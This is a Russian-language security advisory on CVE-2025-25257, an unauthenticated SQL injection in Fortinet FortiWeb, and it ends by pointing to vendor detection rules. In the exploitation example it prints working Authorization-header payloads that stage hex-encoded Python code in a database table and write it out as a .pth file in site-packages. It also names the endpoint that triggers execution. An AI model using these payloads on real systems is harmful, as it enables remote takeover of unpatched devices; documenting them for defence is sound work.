Сообщить об инциденте
Сообщить об инциденте
Уязвимость SQL-инъекции в Fortinet FortiWeb (CVE-2025-25257)

Уязвимость SQL-инъекции в Fortinet FortiWeb (CVE-2025-25257)

Уязвимость SQL-инъекции в Fortinet FortiWeb (CVE-2025-25257)
Уязвимость SQL-инъекции в Fortinet FortiWeb (CVE-2025-25257)
Эксплуатация уязвимостей в средствах защиты информации (T1190) является популярным способом получения доступа к системе. Обращаясь к OWASP TOP-10 2021, инъекции кода занимают 3 место в общем списке. В частности, SQL-инъекции остаются одним из самых простых и эффективных способов выполнения произвольного кода.

Попытки реализации подобных атак позволяют:
  • Раскрыть пользовательские и системные данные (T1005);
  • Уничтожить информацию в базах данных (T1485);
  • Доставить инструменты для получения привилегированного доступа к системе и дальнейшего развития атаки (T1105).

Коротко о продукте:

FortiWeb – межсетевой экран уровня веб-приложений, предназначенный для защиты от эксплуатации уязвимостей.

Описание уязвимости:

CVE-2025-25257 оценена в 9.8 баллов из 10 по шкале CVSSv3.1. Высокая критичность вызвана низкими требованиями для эксплуатации и значительной результативностью – от первоначального воздействия на базу данных до получения полного контроля над системой. Участие пользователя устройства или аутентификационные данные при этом не нужны.

Описание механизма эксплуатации уязвимости:

Слабым звеном продукта является компонент Fabric Connector, отвечающий за обмен информацией между FortiWeb и другими решениями экосистемы Fortinet. Функция fabric_access_check считывает значение токена аутентифицикации из HTTP-заголовка «Authorization», имеющего вид:  Authorization: Bearer  user_token

После чего user_token используется в функции get_fabric_user_by_token для выполнения SQL-запроса:
select id from fabric_user.user_table where token='user_token'

В результате использование пользовательских данных без фильтрации делает возможным внедрение SQL-инъекции. Для этого злоумышленник должен отправить HTTP-запрос с полезной нагрузкой в заголовке «Authorization» к одному из конечных адресов системы:
/api/fabric/device/status
/api/v[0-9]/fabric/widget/[a-z]+
/api/v[0-9]/fabric/widget

Также стоит отметить, что полезная нагрузка не должна содержать пробелы, поскольку функция чтения токена считывает строку user_token до первого пробела. Вместо пробелов следует использовать конструкцию /**/. Кроме того, длина user_token ограничена 128 символами.

Пример эксплуатации:

С помощью последовательности HTTP-запросов злоумышленник может добавить в существующую таблицу программный код инструмента, затем объединить фрагменты в один файл и осуществить его запуск. Доставка кода инструмента реализуется несколькими запросами с заголовками, содержащими полезную нагрузку. Например:
Authorization: Bearer '/**/;UPDATE/**/fabric_user.user_table/**/SET/**/token=UNHEX('696d706f72');SELECT/**/'1'

Authorization: Bearer '/**/;UPDATE/**/fabric_user.user_table/**/SET/**/token=CONCAT(token,UNHEX('74206f733b'));SELECT/**/'1'

Для извлечения кода инструмента из столбца таблицы и записи в отдельный файл применяется заголовок:
Authorization: Bearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth

Для запуска загруженного инструмента используется запрос к конечному адресу:
/cgi-bin/ml-draw.py

В базах решающих правил AM Rules ПМ доступны способы защиты для описанной CVE. Правило и его описание можно посмотреть на AM TIP.